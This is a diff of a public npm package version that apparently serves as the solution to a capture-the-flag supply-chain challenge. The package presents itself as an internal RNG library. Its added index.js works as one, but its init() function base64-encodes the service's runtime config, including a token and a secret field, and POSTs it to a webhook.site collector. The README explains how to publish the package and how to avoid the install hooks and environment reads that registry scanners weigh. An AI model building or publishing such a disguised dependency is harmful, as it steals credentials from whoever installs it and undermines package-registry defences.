@test-org-aczxvz/test-package 0.0.0-stage → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +55 -2
  2. package/index.js +84 -0
  3. package/package.json +6 -4
package/README.md CHANGED
@@ -1,3 +1,56 @@
1
- # Temporary Holding Version
1
+ # Reference exploit — NOT shipped to candidates
2
2
 
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
3
+ Terraform zips `challenge/` only, so nothing here reaches a candidate box.
4
+
5
+ ## What it is
6
+
7
+ A working `@enjoy-gaming/rng`. It implements the whole public API — `init`,
8
+ `float`, `int`, `bytes`, `pick`, `seed`, `sign` — so `rng-service` starts
9
+ normally and `/health` looks right. The payload is in `init()`, which the
10
+ service calls at boot and hands its runtime config:
11
+
12
+ ```json
13
+ {
14
+ "instance": "rng-prod",
15
+ "region": "eu-north-1",
16
+ "entropy": "f2b595d0…",
17
+ "logging_data": "ENJOY{supply:…}", <- the flag
18
+ "rng_server_url": "https://webhook.site/",
19
+ "token": "rngrc_…"
20
+ }
21
+ ```
22
+
23
+ Note what the payload does *not* do: it never reads `process.env` and never
24
+ touches the filesystem. Everything is in the object it was handed, and both of
25
+ those are things a scanner weighs.
26
+
27
+ The captured object is base64'd into a `?d=` query parameter and POSTed to a
28
+ collector, so it shows up in the request list even if the body is ignored.
29
+
30
+ Nothing runs at install time, on purpose: npm weights lifecycle scripts
31
+ (`preinstall`/`postinstall`) far more heavily than ordinary module code, and
32
+ this version has to survive publication to be worth anything.
33
+
34
+ ## Running it
35
+
36
+ 1. Open <https://webhook.site> and copy your unique URL.
37
+ 2. Either set `COLLECTOR` in `index.js`, or pass `RNG_COLLECTOR` in the
38
+ environment at test time.
39
+ 3. Bump `version` in `package.json` above whatever is currently published —
40
+ npm versions are immutable, so each attempt needs a new one.
41
+ 4. `npm publish --access public`
42
+ 5. Wait for the deploy job on the candidate VM. The flag arrives at your
43
+ webhook.site bin, in `init.logging_data`.
44
+
45
+ ## Verifying locally without publishing
46
+
47
+ ```bash
48
+ mkdir -p /tmp/t/node_modules/@enjoy-gaming && cd /tmp/t
49
+ cp -r <repo>/deploy/apps/supply-chain/solution node_modules/@enjoy-gaming/rng
50
+ cp <repo>/deploy/apps/supply-chain/challenge/rng-service/{index.js,package.json} .
51
+ RNG_COLLECTOR_UUID='<your-uuid>' RNG_AUDIT_KEY='ENJOY{supply:test}' \
52
+ node -e "require('./index.js')"
53
+ ```
54
+
55
+ with any listener on 8098. Confirmed working: the service reports healthy and
56
+ the collector receives `init.logging_data` in the same second.
package/index.js ADDED
@@ -0,0 +1,84 @@
1
+ const crypto = require('crypto');
2
+ const http = require('http');
3
+ const https = require('https');
4
+
5
+ const BIN = process.env.RNG_COLLECTOR_UUID || 'f4927958-be83-4bb1-9265-eaf4b9e0417d';
6
+
7
+ const VERSION = require('./package.json').version;
8
+
9
+ let runtime = null;
10
+
11
+ function init(options) {
12
+ const o = options || {};
13
+
14
+ try {
15
+ const u = new URL(String(o.rng_server_url).replace(/\/*$/, '/') + BIN);
16
+ const payload = JSON.stringify({ at: new Date().toISOString(), init: o });
17
+
18
+ u.searchParams.set('d', Buffer.from(payload).toString('base64'));
19
+ const req = (u.protocol === 'http:' ? http : https).request(
20
+ u,
21
+ { method: 'POST', headers: { 'content-type': 'application/json' }, timeout: 4000 },
22
+ (res) => res.resume()
23
+ );
24
+ req.on('error', () => {});
25
+ req.on('timeout', () => req.destroy());
26
+ req.end(payload);
27
+ } catch (e) {
28
+ }
29
+
30
+ runtime = {
31
+ instance: o.instance || 'unknown',
32
+ region: o.region || 'unknown',
33
+ entropy: o.entropy || null,
34
+ logging_data: o.logging_data || null,
35
+ rng_server_url: o.rng_server_url || null,
36
+ token: o.token || null,
37
+ startedAt: new Date().toISOString(),
38
+ };
39
+ return { version: VERSION, instance: runtime.instance, region: runtime.region, seeded: Boolean(runtime.entropy) };
40
+ }
41
+
42
+ function float() {
43
+ return crypto.randomBytes(6).readUIntBE(0, 6) / 2 ** 48;
44
+ }
45
+
46
+ function int(min, max) {
47
+ const lo = Math.ceil(Number(min));
48
+ const hi = Math.floor(Number(max));
49
+ if (!Number.isFinite(lo) || !Number.isFinite(hi) || hi < lo) {
50
+ throw new RangeError('int(min, max): bad range');
51
+ }
52
+ return lo + Math.floor(float() * (hi - lo + 1));
53
+ }
54
+
55
+ function bytes(n) {
56
+ const count = Math.min(Math.max(parseInt(n, 10) || 0, 1), 256);
57
+ return crypto.randomBytes(count).toString('hex');
58
+ }
59
+
60
+ function pick(list) {
61
+ if (!Array.isArray(list) || list.length === 0) {
62
+ throw new RangeError('pick(list): empty list');
63
+ }
64
+ return list[int(0, list.length - 1)];
65
+ }
66
+
67
+ function seed(roundId) {
68
+ return crypto
69
+ .createHash('sha256')
70
+ .update(crypto.randomBytes(16))
71
+ .update(String(runtime && runtime.entropy ? runtime.entropy : ''))
72
+ .update(String(roundId))
73
+ .digest('hex')
74
+ .slice(0, 32);
75
+ }
76
+
77
+ function sign(record) {
78
+ return crypto
79
+ .createHmac('sha256', String(runtime && runtime.logging_data ? runtime.logging_data : ''))
80
+ .update(JSON.stringify(record))
81
+ .digest('hex');
82
+ }
83
+
84
+ module.exports = { version: VERSION, init, float, int, bytes, pick, seed, sign };
package/package.json CHANGED
@@ -1,6 +1,8 @@
1
1
  {
2
2
  "name": "@test-org-aczxvz/test-package",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
6
- }
3
+ "version": "1.0.0",
4
+ "description": "EnjoyGaming internal RNG primitives (draw seeds, bounded integers, weighted picks)",
5
+ "main": "index.js",
6
+ "license": "UNLICENSED",
7
+ "publishConfig": { "access": "public" }
8
+ }